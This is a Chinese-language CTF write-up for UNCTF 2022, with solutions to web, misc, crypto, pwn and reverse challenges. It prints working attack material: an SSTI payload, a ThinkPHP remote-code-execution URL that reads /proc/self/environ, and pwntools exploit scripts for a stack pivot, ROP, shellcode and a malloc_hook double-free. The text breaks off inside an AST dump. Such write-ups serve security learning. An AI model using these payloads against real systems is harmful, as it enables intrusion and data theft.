2022的UNCTF部分赛题Write Up...

【UNCTF】Write Up In 2022

前言

丢脸,被薄纱了捏,逆向纯纯的不会

Web

我太喜欢bilibili大学啦

进入phpinfo,直接搜UNCTF就有flag了(环境变量没删

ezgame

main.js中搜索==的时候找到一个奇怪的位置

image-20221116145853989

手动调用这个方法,得到flag

image-20221116145934768

image-20221116145939995

babyphp

科学计数法绕过,数组绕过,最后用eval再传一个get参数,这样就可以调用system

image-20221116150441536

302与深大

burp抓包,按要求来就行了,一个get传参,一个post传参

之后burp搜素UNCTF关键词就行了

java-202211162133188

easy ssti

ban了class关键字,但是可以字符串拼接

常规套路获取os,可惜不能调用system之类的,也不知道后台是咋判断的

但是能看环境变量就行

{{session['__cl'+'ass__'].__mro__[-1]['__subcl'+'asses__']()[132].__init__.__globals__['environ']}}

image-20221116105203491

听说php有一个xxe

前往提示的/hint,得到一个文件,提示有dom.php,写一个最简单的读文件xxe

image-20221116003440127

给你一刀

网上的链子一搜一大把,直接看/proc/self/environ

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/proc/self/environ

image-20221116113126303

ez2048

wasm搞出来的页面,游戏是不可能玩游戏的,一步步逆回去!

首先是邀请码,这个东西与后面的flag有关,所以一定要逆这一步

把页面中的所有源代码下载下来,在本地部署,但是wasm无法调试,但是没关系,逆出邀请码就行了

首先看game.js的check函数,在这个地方打印一下view.getInt8(i)

image-20221116150733772

把得到的数据进行z3求解,得到邀请码w3lc0me_7o_unctf2022!!!!

(这里有一个js的特性,就是NaN异或任何数,等于那个数本身,所有可以得到enc[1] = 51是不会变的)

from z3 import *

FLAG_LEN = 24

flag = [BitVec(f"flag{i}", 32) for i in range(FLAG_LEN)]
s = Solver()
for i in range(FLAG_LEN):
    s.add(flag[i] > 32)
    s.add(flag[i] < 129)

enc = [68, 51, 15, 80, 93, 14, 58, 50, 88, 48, 42, 26, 13, 22, 18, 5, 2, 86, 0, 2, 0, 19, 0, 0]
s.add(flag[1] == 51)
# s.add(flag[0] == 97)
for i in range(24):
    if ~i % 2 == 0:
        if i != 1:
            s.add(flag[i] ^ flag[i-2] == enc[i])
    else:
        s.add(flag[i] ^ flag[i+1] == enc[i])

if s.check() == sat:
    m = s.model()
    res = ""
    for i in range(0, FLAG_LEN):
        res += chr(int(f"{m[flag[i]]}"))
    print(res)
else:
    print("no way")

image-20221116150831188

得到邀请码之后,继续逆,可以发现成功就会调用这个部分,这个merged.value肯定就是2048

image-20221116151049548

这个allocatedInvitedCode就是我没刚刚得到的邀请码进行了处理

image-20221116151225918

在页面手动调用这个方法

UTF8ToString(_check_success('2048',allocate(intArrayFromString('w3lc0me_7o_unctf2022!!!!'),ALLOC_NORMAL)))

image-20221116151147079

Misc

magic_word

给了一个word,是webdings字体的乱码,随便改成一个可以显示中文的

image-20221116141947593

键盘光标在最后向左移动没有跳过字符,猜测有隐藏字符

把docx后缀改成zip然后解压,打开其中的document.xml

vscode直接提示是不可见的字符,猜测0宽

image-20221116142141471

解密一下得到unctf{We1come_new_ctfer}

image-20221116142210340

syslog

一个系统日志,用户名是bi0x,关键词就搜素这个

找到一个password,base64解密一下

image-20221116142447176

image-20221116142544940

解压得到flag

image-20221116142619385

找得到我吗

一个word文件,进入看没啥不正常的

把docx后缀改成zip,进入查看document.xml

搜素{

image-20221116142835709

zhiyin

首先给出的jpg拿010看是倒序的,使用脚本反转一下

with open("./lanqiu.jpg", "rb") as f:data = f.read()
with open("./new.jpg", "wb") as f:f.write(data[::-1])

得到一张ikun图片,有一半的密码

image-20221116140619926

使用strings zhiyin.png获取字符串,得到一串摩斯电码

image-20221116140726581

..--.- ..- -. -.-. --... ..-. -.-.-- -.-.-- -.-.--

在线解码一下,得到_UNC7F!!!

image-20221116140852182

但是后面两个拼接起来使用掩码爆破都没有穿,最后将摩斯得到的密码改成小写就穿了

image-20221116141052721

最后的密码是Go_p1ay_unc7f!!!

得到解压zip得到flag

image-20221116141137432

芝麻开门

附件有一个key和一张图

key可以base64解密得到key1

image-20221116135103247

合理猜测是lsb加密,使用github的脚本进行提取 https://github.com/livz/cloacked-pixel

image-20221116135145666

社什么社

拿到一个ascii的图像,纯纯的抽象,但是可以分析,应该是有船有水的地方,应为有一个水中的倒影还是比较清楚的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XO24lSDk-1668744904640)(https://gitee.com/Awoodwhale/blogimg/raw/master/img/QQ图片20221116141521.png)]

然后就是古代建筑类型的楼阁,猜测是吊脚楼

联系出题师傅是湖南省的,百度搜素关键字湖南 吊脚楼 船

image-20221116141423200

猜测是凤凰古城,拿md5大写交了试试,果不其然哈哈!

In_the_Morse_Garden

拿到一个pdf,看似啥也没有,直接ctrl+v可以复制出东西

image-20221116182956685

cyber magic识别base64

image-20221116183036793

可以当成摩斯电码

# coding:utf-8
data = '依古比古玛卡巴卡玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 玛卡巴卡玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古依古比古玛卡巴卡玛卡巴卡依古比古玛卡巴卡 玛卡巴卡依古比古依古比古依古比古 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 依古比古玛卡巴卡 玛卡巴卡依古比古玛卡巴卡依古比古玛卡巴卡玛卡巴卡'
data = data.replace("依古比古",".").replace("玛卡巴卡","-").replace(" ","/")
print(data)

得到.--/.-/-./..--.-/.-/-./..--.-/--/.-/-.-/.-/..--.-/-.../.-/-.-/.-/.-/.-/.-/.-/-.-.--

image-20221116182920282

所以最后flag是UNCTF{WAN_AN_MAKA_BAKAAAAA!}

清和fan

第一个压缩包的注释

密码为清和B站uid下划线最高播放量视频发布日期,例123456_2020/01/01

image-20221116213708645

image-20221116213721582

所以密码是836885_2022/05/20

第二个压缩包有一个图片,zsteg一把嗦了

image-20221116213819166

第三个压缩包,有一个wav音频,联系中情局等关键字,百度到sstv

使用qsstv获取图片,得到解压密码V@mpir3

image-20221116213051189

解压得到flag.txt,很明显的零宽

image-20221116213249423

image-20221116213306725

Crypto

md5-1

先搜集所有可见字符的md5值存在一个map里,然后去读文件一一配对就行了

from hashlib import md5
import string


map = {}

for i in string.printable:
    map[md5(i.encode()).hexdigest()] = i

with open ("./out.txt", "r", encoding='utf-8') as f:
    data = f.readlines()
    
flag = ''
for l in data:
    flag += map[l.split()[0]]

print(flag)

image-20221116143016901

dddd

一眼摩斯,写个替换然后在线解密

with open("./dddd.txt", "r", encoding='utf-8') as f:
    data = f.read()

data = data.replace("0","-").replace("1", ".")
print(data)

image-20221116143159488

caesar

我把表换成了base64的表

B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}

前六位是UNCTF{,于是可以得到对应的表

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
TUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRS

换个表写个脚本就就行

a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
b = "TUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRS"

map = {}
for i in range(len(a)):
    map[a[i]] = b[i]

flag = ''
for i in "B6vAy{dhd_AOiZ_KiMyLYLUa_JlL/HY}":
    if i in ['}','{',"_"]: flag += i
    else :flag += map[i]

print(flag)

image-20221116143352641

md5-2

前一个字符和当前字符异或,但是因为第0个字符是保留的,所以可以一步一步逆回去

(比较坑的一点是,以开始的map的键用的是str,保留了开头是0的,导致找不到值。。。)

from hashlib import md5
import string

# print(md5(b'N').hexdigest(),md5(b'C').hexdigest())
# print(hex(int(md5(b'C').hexdigest() ,16)^ int(md5(b'N').hexdigest(),16))[2:])
# print(hex(int("80fdc84bbb5ed9e207a21d5436efdcfd",16) ^ int(md5(b'N').hexdigest(),16))[2:])
map = {}
for i in string.printable:
    map[hex(int(md5(i.encode()).hexdigest(),16))[2:]] = i

with open("./out.txt", "r", encoding='utf-8') as f:
    lines = f.readlines()

lines = [s.strip() for s in lines]
flag = []
for i, l in enumerate(lines):
    print(flag)
    if i == 0:
        flag.append(map[l])
    else:
    
        # print(l,  md5(flag[-1].encode()).hexdigest() )
        a = (hex(int(l,16) ^ int(md5(flag[-1].encode()).hexdigest(), 16))[2:])
        flag.append(map[a])
        
print("".join(flag))

image-20221116143627259

Single table

PLAYFAIR密码,按照ctfwiki上的资料一步一步来

image-20221116143815417

手动写出以PLAY为key的表,然后一步一步推回去就行,记得删除最后一位的X

image-20221116143714386

easy_RSA

给出了ecnp,但是p的后200位丢失了

所以使用sage进行修复

p=8183408885924573625481737168030555426876736448015512229437332241283388177166503450163622041857<<200
n=102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553

kbits = 200
R.<x> = PolynomialRing(Zmod(n))
f = x+p
x0 = f.small_roots(X=2^kbits, beta = 0.4)[0]
print(p + int(x0))

跑出来得到修复成功的p

image-20221116144136691

剩下的就是rsa的常规操作

import gmpy2 as gp
import libnum
e=0x10001
c=6423951485971717307108570552094997465421668596714747882611104648100280293836248438862138501051894952826415798421772671979484920170142688929362334687355938148152419374972520025565722001651499172379146648678015238649772132040797315727334900549828142714418998609658177831830859143752082569051539601438562078140 
n=102089505560145732952560057865678579074090718982870849595040014068558983876754569662426938164259194050988665149701199828937293560615459891835879217321525050181965009152805251750575379985145711513607266950522285677715896102978770698240713690402491267904700928211276700602995935839857781256403655222855599880553
# p = 8183408885924573625481737168030555426876736448015512229437332241283388177166503450163622041857<<200
p = 13150231070519276795503757637337326535824298772055543325920447062237907554543786311611680606624189166397403108357856813812282725390555389844248256805325917
print(p)
q = n // p
phi = (p - 1) * (q - 1)
d = gp.invert(e, phi)
m = pow(c, d, n)
print(libnum.n2s(int(m)))

image-20221116144214989

ezxor

一次一密加密,使用github的脚本 https://github.com/SpiderLabs/cribdrag和https://github.com/Jwomers/many-time-pad-attack/blob/master/attack.py

因为flag肯定是UNCTF{开头的,所以先用第一个脚本进行部分密文的破解

image-20221116140053788

得到In the,到这里发现信息非常少,所以使用第二个脚本进行辅助

首先把第二个attack.py那个脚本的字符串给置空,获取部分信息

image-20221116135834234

image-20221116135818126

得到In the floo* of h*r**es *dop

floo*一开始猜测是floor,拿去第一个脚本尝试虽然可以跑出东西,但是后面的越来越难猜

最后猜是flood,并且百度搜素到了一篇文章,虽然点进去已经被删除了,但是可以看到有In the flood of darkness

image-20221116140243551

尝试,得到flag

image-20221116140432553

babyRSA

参考 强网杯2019 Copperstudy的level2

给出的m丢失了60位

使用github的脚本 https://github.com/mimoo/RSA-and-LLL-attacks

load("cop.sage")

N = 25300208242652033869357280793502260197802939233346996226883788604545558438230715925485481688339916461848731740856670110424196191302689278983802917678262166845981990182434653654812540700781253868833088711482330886156960638711299829638134615325986782943291329606045839979194068955235982564452293191151071585886524229637518411736363501546694935414687215258794960353854781449161486836502248831218800242916663993123670693362478526606712579426928338181399677807135748947635964798646637084128123883297026488246883131504115767135194084734055003319452874635426942328780711915045004051281014237034453559205703278666394594859431
c = 15389131311613415508844800295995106612022857692638905315980807050073537858857382728502142593301948048526944852089897832340601736781274204934578234672687680891154129252310634024554953799372265540740024915758647812906647109145094613323994058214703558717685930611371268247121960817195616837374076510986260112469914106674815925870074479182677673812235207989739299394932338770220225876070379594440075936962171457771508488819923640530653348409795232033076502186643651814610524674332768511598378284643889355772457510928898105838034556943949348749710675195450422905795881113409243269822988828033666560697512875266617885514107
m=11941439146252171444944646015445273361862078914338385912062672317789429687879409370001983412365416202240
e=6

ZmodN = Zmod(N)
P.<x> = PolynomialRing(ZmodN)
f = (m + x)^e - c
dd = f.degree()
beta = 1
epsilon = beta / 7
mm = ceil(beta**2 / (dd * epsilon))
tt = floor(dd * mm * ((1/beta) - 1))
XX = ceil(N**((beta**2/dd) - epsilon))
roots = coppersmith_howgrave_univariate(f, N, beta, mm, tt, XX)
print("结果是:", hex(roots[0]))

得到m的后60位

image-20221116144812208

from Crypto.Util.number import *
m = 11941439146252171444944646015445273361862078914338385912062672317789429687879409370001983412365416202240
m |= 0x63064356431627d
print(long_to_bytes(m))

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EqlZ7UCQ-1668744904655)(C:\Users\木鲸\AppData\Roaming\Typora\typora-user-images\image-20221116144823191.png)]

ezRSA

http://www.factordb.com/ 分解一下n,得到89065756791595323358603857939783936930073695697065732353414009005162022399741**4,那么就得到了p

image-20221116145043837

import libnum 

n= 62927872600012424750752897921698090776534304875632744929068546073325488283530025400224435562694273281157865037525456502678901681910303434689364320018805568710613581859910858077737519009451023667409223317546843268613019139524821964086036781112269486089069810631981766346242114671167202613483097500263981460561
e= 65537 
c= 56959646997081238078544634686875547709710666590620774134883288258992627876759606112717080946141796037573409168410595417635905762691247827322319628226051756406843950023290877673732151483843276348210800329658896558968868729658727981445607937645264850938932045242425625625685274204668013600475330284378427177504 #分解n 

p=89065756791595323358603857939783936930073695697065732353414009005162022399741 
phi_n=p**4-p**3 
d=libnum.invmod(e,phi_n)
m=pow(c,d,n) 
print(m) 
print(libnum.n2s(int(m)).decode())

image-20221116145126426

Multi table

有点坑,源码里的shuffle(base_table)被注释了,一开始一直以为是标准表,还在想print出来的那个表是干啥的。。。

知道给出的['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']是shuffle过的标准表就可以做了,因为UNCTF开头,U和F一定是同一个表的,其他4个表都可以得到了

直接在原脚本上改动

from string import ascii_uppercase
from random import randint,shuffle
from binascii import b2a_hex,a2b_hex

flag="UNCTF{}"
# base_table=list(ascii_uppercase)
# shuffle(base_table)
base_table = ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
print(base_table)

table={}
for i in range(26):
    table[i]=ascii_uppercase[i:]+ascii_uppercase[:i]
print(table)
# ABCDEFGHIJKLMNOPQRSTUVWXYZ
key=[]
for i in range(4):
    key.append(randint(0,25))
print(key)
c=''
x=0
for i in range(len(flag)):
    if flag[i] in ascii_uppercase:
        print(key[x%4],base_table.index(flag[i]))
        c+=table[key[x%4]][base_table.index(flag[i])]
        x+=1
    else:
        c+=flag[i]
print(c)


# ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
# ['J', 'X', 'I', 'S', 'E', 'C', 'R', 'Z', 'L', 'U', 'K', 'Q', 'Y', 'F', 'N', 'V', 'T', 'P', 'O', 'G', 'A', 'H', 'D', 'W', 'M', 'B']
# SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}
# UNCTF{}
c = "SDCGW{MPN_VHG_AXHU_GERA_SM_EZJNDBWN_UZHETD}"
#c = "UNCTF{WOW_YOU_KNOW_THIS_IS_VIGENERE_CIPHER}"
c = "SDCGWMPNVHGAXHUGERASMEZJNDBWNUZHETD"
c = list(c)
# UNCTF{XXX_YOU}
for i in range(26):
    if table[i][base_table.index('U')] == 'S' and table[i][base_table.index('F')] == 'W':
        for x in range(len(c)):
            if x % 4 == 0:
                c[x] = base_table[table[i].index(c[x])]
        break
for i in range(26):
    if table[i][base_table.index("N")] == "D":
        print(table[i])
        for x in range(len(c)):
            if x % 4 == 1:
                try:
                    c[x] = base_table[table[i].index(c[x])]
                except:
                    pass
        break
for i in range(26):
    if table[i][base_table.index("C")] == "C":
        for x in range(len(c)):
            if x % 4 == 2:
                try:
                    c[x] = base_table[table[i].index(c[x])]
                except:
                    pass
        break
for i in range(26):
    if table[i][base_table.index("T")] == "G":
        for x in range(len(c)):
            if x % 4 == 3:
                try:
                    c[x] = base_table[table[i].index(c[x])]
                except:
                    pass
        break
print("".join(c))

image-20221118121124897

最后加上特殊符号就行了UNCTF{WOW_YOU_KNOW_THIS_IS_VIGENERE_CIPHER}

Pwn

wp所有的pwntools库都是个人写的板子,github地址 https://github.com/Awoodwhale/pwn_all_in_one

welcomeUNCTF2022

输入UNCTF&2022可以直接拿flag

image-20221116151652348

石头剪刀布

随机数因为给定了种子,所以可以预测到

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp_shitou.py
# @Author  :  woodwhale
# @Time    :  2022/11/12 22:22:47
# -----------------------------------

from pwntools import *

init("./shitoujiandanbu")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

c = get_clib()
c.srand(0xa)
sl("y")
for i in range(100):
    v1 = c.rand() % 3
    rock = 0    # 石头
    scissor = 1 # 剪刀
    paper = 2   # 布

    if v1 == 0:
        ans = 2
    elif v1 == 1:
        ans = 0
    else:
        ans = 1
    sl(str(ans))

ia()

move your heart

简单的栈迁移

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2022/11/12 16:30:13
# -----------------------------------

from pwntools import *

init("./pwn")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc


c = get_clib()
c.srand(0x42)
x = c.rand()

sl(str(x))

ru("0x")
stack = leak(i16(r(12)), "stack")
leave_ret = 0x00000000004012D6
pop_rdi = 0x00000000004013D3
# dbg()
# pau()
s(
    p64(pop_rdi)
    + p64(stack + 0x18)
    + p64(elf.sym["system"])
    + b"/bin/sh\x00"
    + p64(stack-8)
    + p64(leave_ret)
)


ia()

checkin

直接调用puts输出flag

负数绕过直接在第0个位置输入一个空格就行了

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp_check.py
# @Author  :  woodwhale
# @Time    :  2022/11/13 19:26:50
# -----------------------------------

from pwntools import *

init("./checkin")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc


sa("name:",b"wood")
# dbg();pau()
sa("size:",b" -1")
s(b"a"*0x50 + p64(0x0000000000400699) + p64(0x0000000000400a53) + p64(0x6010C0) + p64(elf.sym["puts"]))
ia()

int 0x80

直接用可见字符的shellcode一把梭了

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp_int0x80.py
# @Author  :  woodwhale
# @Time    :  2022/11/13 19:39:04
# -----------------------------------

from pwntools import *

init("./int0x80")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

shellcode_64="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
sa("pwn", shellcode_64)

ia()

fakehero

2.23的堆,为啥呢?

因为可以上远程进行一次double free,看看有没有tcache,发现没有,那么就是2.23

申请一个比0x80大的chunk,然后释放进入unsorted bin,再申请对这个unsorted bin进行多次申请,可以得到一些libc函数的地址

泄露libc后,打malloc_hook-0x23写入one_gadget

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp_fake.py
# @Author  :  woodwhale
# @Time    :  2022/11/12 23:37:37
# -----------------------------------

from pwntools import *

context.log_level='debug'
init("./fakehero")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

cmd = lambda idx: sla(">", str(idx))


def add(idx, size, cnt):
    cmd(1)
    sla("index:", str(idx))
    sla("Size", str(size))
    sa("Content", cnt)

def free(idx):
    cmd(2)
    sla("Index", str(idx))


add(0, 0x60, "aaaaaaaa")
add(1, 0x60, "aaaaaaaa")
add(2, 0x100, "aaaaaaaa")
add(3, 0x10, "aaaaaaa")

free(2)
add(4,0x70,b"a"*8*3)
add(5,0x30,b"\n")
free(4)
io_std = leak(l64(),"io")
libc.address = io_std - (0x7f4c755608e0 - 0x7f4c7519c000)
malloc_hook = libc.sym["__malloc_hook"]
ogs = [0x45226,0x4527a,0xf03a4,0xf1247]
ogs = [x + libc.address for x in ogs]

free(0)
free(1)
free(0)
add(0,0x60,p64(malloc_hook-0x23))
add(1,0x60,"a")
add(6,0x60,p64(0xdeadbeef))
add(7,0x60,b"b"*0x13 + p64(ogs[2]))

add(8,0x10,"woodwhale")

# dbg()

ia()

Reverse

ezzzzre

先用upx脱壳

image-20221117191315805

ida查看,非常简单的加密方式

image-20221117191357753

key = list("HELLOCTF")

for i in range(8):
    key[i] = chr(ord(key[i]) * 2 - 69)

print("".join(key))

whereisyourkey

直接按照原算法运行就行了

v5 = [0] * 10
v5[0] = 118
v5[1] = 103
v5[2] = 112
v5[3] = 107
v5[4] = 99
v5[5] = 109
v5[6] = 104
v5[7] = 110
v5[8] = 99
v5[9] = 105

# print("".join([chr(x) for x in v5]))
for i in range(10):
    if v5[i] == 109:continue
    if v5[i] <= 111:
        if v5[i] <= 110:v5[i] -= 2
    else: v5[i] += 3

print("".join([chr(x) for x in v5]))

Sudoku

动调拿到最后对比的数据

data = [0x00000008, 0x00000005, 0x00000002, 0x00000004, 0x00000009, 0x00000001, 0x00000006, 0x00000007, 0x00000003, 0x00000001, 0x00000009, 0x00000006, 0x00000007, 0x00000003, 0x00000008, 0x00000002, 0x00000005, 0x00000004, 0x00000004, 0x00000003, 0x00000007, 0x00000005, 0x00000006, 0x00000002, 0x00000009, 0x00000001, 0x00000008, 0x00000005, 0x00000002, 0x00000008, 0x00000001, 0x00000004, 0x00000006, 0x00000003, 0x00000009, 0x00000007, 0x00000003, 0x00000007, 0x00000004, 0x00000009, 0x00000002, 0x00000005, 0x00000008, 0x00000006, 0x00000001, 0x00000009, 0x00000006, 0x00000001, 0x00000003, 0x00000008, 0x00000007, 0x00000004, 0x00000002, 0x00000005, 0x00000002, 0x00000001, 0x00000009, 0x00000008, 0x00000005, 0x00000004, 0x00000007, 0x00000003, 0x00000006, 0x00000007, 0x00000004, 0x00000003, 0x00000006, 0x00000001, 0x00000009, 0x00000005, 0x00000008, 0x00000002, 0x00000006, 0x00000008, 0x00000005, 0x00000002, 0x00000007, 0x00000003, 0x00000001, 0x00000004, 0x00000009, 0x00000000, 0x00000000]

for i in range(9):
    d = data[i*9:(i+1)*9]
    d = [str(x) for x in d]
    print(" ".join(d))

image-20221117154508716

然后py运行,vme肯定就是50了

vme = 50

flag = chr(29+vme)+chr(15+vme)+chr(29+vme)+chr(24+vme)+chr(39+vme)+chr(25+vme)+chr(29+vme)+chr(20+vme)+chr(32+vme)

print(flag)

halo

先upx脱壳

image-20221117190737860 脱壳后ida分析

image-20221117191005557

加密就是异或自身idx和下一个,所以解密从后往前异或回去就行了

data = [
    0x55,
    0x0B,
    0x68,
    0x0C,
    0x73,
    0x3E,
    0x0C,
    0x3A,
    0x5D,
    0x1B,
    0x21,
    0x75,
    0x4F,
    0x20,
    0x4C,
    0x71,
    0x58,
    0x7B,
    0x59,
    0x2C,
    0x00,
    0x77,
    0x58,
    0x77,
    0x0E,
    0x72,
    0x5B,
    0x26,
    0x0B,
    0x70,
    0x0A,
    0x77,
    0x66,
    0x77,
    0x36,
    0x76,
    0x37,
    0x76,
    0x62,
    0x72,
    0x6D,
    0x27,
    0x3F,
    0x77,
    0x26,
]
for i in range(7):
    data[i] ^= 0x33


for i in range(len(data)-1, 0, -1):
    data[i] = data[i-1] ^ (i) ^ data[i]

print(data)
data = [chr(x) for x in data]
print("".join(data))

image-20221117191049932

逆出来的数据虽然前面缺斤少两,但是大括号中的数据是对的

HelloRust

rust写的rc4算法,可以通过关键字查看到

image-20221117154657298

找密钥和密文就行了

密钥

image-20221117154717338

密文

image-20221117154833065

import codecs

MOD = 256


def KSA(key):
    """
    Key Scheduling Algorithm (from wikipedia):
        for i from 0 to 255
            S[i] := i
        endfor
        j := 0
        for i from 0 to 255
            j := (j + S[i] + key[i mod keylength]) mod 256
            swap values of S[i] and S[j]
        endfor
    """
    key_length = len(key)
    # create the array "S"
    S = list(range(MOD))  # [0,1,2, ... , 255]
    j = 0
    for i in range(MOD):
        j = (j + S[i] + key[i % key_length]) % MOD
        S[i], S[j] = S[j], S[i]  # swap values

    return S


def PRGA(S):
    """
    Psudo Random Generation Algorithm (from wikipedia):
        i := 0
        j := 0
        while GeneratingOutput:
            i := (i + 1) mod 256
            j := (j + S[i]) mod 256
            swap values of S[i] and S[j]
            K := S[(S[i] + S[j]) mod 256]
            output K
        endwhile
    """
    i = 0
    j = 0
    while True:
        i = (i + 1) % MOD
        j = (j + S[i]) % MOD

        S[i], S[j] = S[j], S[i]  # swap values
        K = S[(S[i] + S[j]) % MOD]
        yield K


def get_keystream(key):
    """
    Takes the encryption key to get the keystream using PRGA
    return object is a generator
    """
    S = KSA(key)
    return PRGA(S)


def encrypt_logic(key, text):
    """
    :key -> encryption key used for encrypting, as hex string
    :text -> array of unicode values/ byte string to encrpyt/decrypt
    """
    # For plaintext key, use this
    key = [ord(c) for c in key]
    keystream = get_keystream(key)

    res = []
    for c in text:
        val = ("%02X" % (c ^ next(keystream)))  # XOR and taking hex
        res.append(val)
    return ''.join(res)


def encrypt(key, plaintext):
    """
    :key -> encryption key used for encrypting, as hex string
    :plaintext -> plaintext string to encrpyt
    """
    plaintext = [ord(c) for c in plaintext]
    return encrypt_logic(key, plaintext)


def decrypt(key, ciphertext):
    """
    :key -> encryption key used for encrypting, as hex string
    :ciphertext -> hex encoded ciphered text using RC4
    """
    ciphertext = codecs.decode(ciphertext, 'hex_codec')
    res = encrypt_logic(key, ciphertext)
    return codecs.decode(res, 'hex_codec').decode('utf-8')


if __name__ == '__main__':
    print(decrypt("UnCtF2022", "876927216FC731261B6C3A749A626EA002811D85E0E2D071F4A3090E"))  # 解密

image-20221117154911107

ezast

js抽象语法树,直接使用escodegen自动分析

let {generate} = require("escodegen")

let t = generate({
    "type": "Program",
    "start": 0,
    "end": 379,
    "body": [
      {
        "type": "ExpressionStatement",
        "start": 0,
        "end": 341,
        "expression": {
          "type": "CallExpression",
          "start": 1,
          "end": 339,
          "callee": {
            "type": "FunctionExpression",
            "start": 1,
            "end": 337,
            "id": null,
            "expression": false,
            "generator": false,
            "async": false,
            "params": [],
            "body": {
              "type": "BlockStatement",
              "start": 13,
              "end": 337,
              "body": [
                {
                  "type": "FunctionDeclaration",
                  "start": 19,
                  "end": 216,
                  "id": {
                    "type": "Identifier",
                    "start": 28,
                    "end": 36,
                    "name": "ezdecode"
                  },
                  "expression": false,
                  "generator": false,
                  "async": false,
                  "params": [
                    {
                      "type": "Identifier",
                      "start": 37,
                      "end": 41,
                      "name": "flag"
                    },
                    {
                      "type": "Identifier",
                      "start": 43,
                      "end": 46,
                      "name": "key"
                    }
                  ],
                  "body": {
                    "type": "BlockStatement",
                    "start": 48,
                    "end": 216,
                    "body": [
                      {
                        "type": "VariableDeclaration",
                        "start": 58,
                        "end": 88,
                        "declarations": [
                          {
                            "type": "VariableDeclarator",
                            "start": 62,
                            "end": 87,
                            "id": {
                              "type": "Identifier",
                              "start": 62,
                              "end": 70,
                              "name": "arr_data"
                            },
                            "init": {
                              "type": "CallExpression",
                              "start": 73,
                              "end": 87,
                              "callee": {
                                "type": "MemberExpression",
                                "start": 73,
                                "end": 83,
                                "object": {
                                  "type": "Identifier",
                                  "start": 73,
                                  "end": 77,
                                  "name": "flag"
                                },
                                "property": {
                                  "type": "Identifier",
                                  "start": 78,
                                  "end": 83,
                                  "name": "split"
                                },
                                "computed": false,
                                "optional": false
                              },
                              "arguments": [
                                {
                                  "type": "Literal",
                                  "start": 84,
                                  "end": 86,
                                  "value": "",
                                  "raw": "''"
                                }
                              ],
                              "optional": false
                            }
                          }
                        ],
                        "kind": "var"
                      },
                      {
                        "type": "ReturnStatement",
                        "start": 97,
                        "end": 210,
                        "argument": {
                          "type": "CallExpression",
                          "start": 104,
                          "end": 209,
                          "callee": {
                            "type": "MemberExpression",
                            "start": 104,
                            "end": 205,
                            "object": {
                              "type": "CallExpression",
                              "start": 104,
                              "end": 200,
                              "callee": {
                                "type": "MemberExpression",
                                "start": 104,
                                "end": 116,
                                "object": {
                                  "type": "Identifier",
                                  "start": 104,
                                  "end": 112,
                                  "name": "arr_data"
                                },
                                "property": {
                                  "type": "Identifier",
                                  "start": 113,
                                  "end": 116,
                                  "name": "map"
                                },
                                "computed": false,
                                "optional": false
                              },
                              "arguments": [
                                {
                                  "type": "ArrowFunctionExpression",
                                  "start": 117,
                                  "end": 199,
                                  "id": null,
                                  "expression": false,
                                  "generator": false,
                                  "async": false,
                                  "params": [
                                    {
                                      "type": "Identifier",
                                      "start": 117,
                                      "end": 118,
                                      "name": "i"
                                    }
                                  ],
                                  "body": {
                                    "type": "BlockStatement",
                                    "start": 122,
                                    "end": 199,
                                    "body": [
                                      {
                                        "type": "ReturnStatement",
                                        "start": 136,
                                        "end": 189,
                                        "argument": {
                                          "type": "CallExpression",
                                          "start": 143,
                                          "end": 188,
                                          "callee": {
                                            "type": "MemberExpression",
                                            "start": 143,
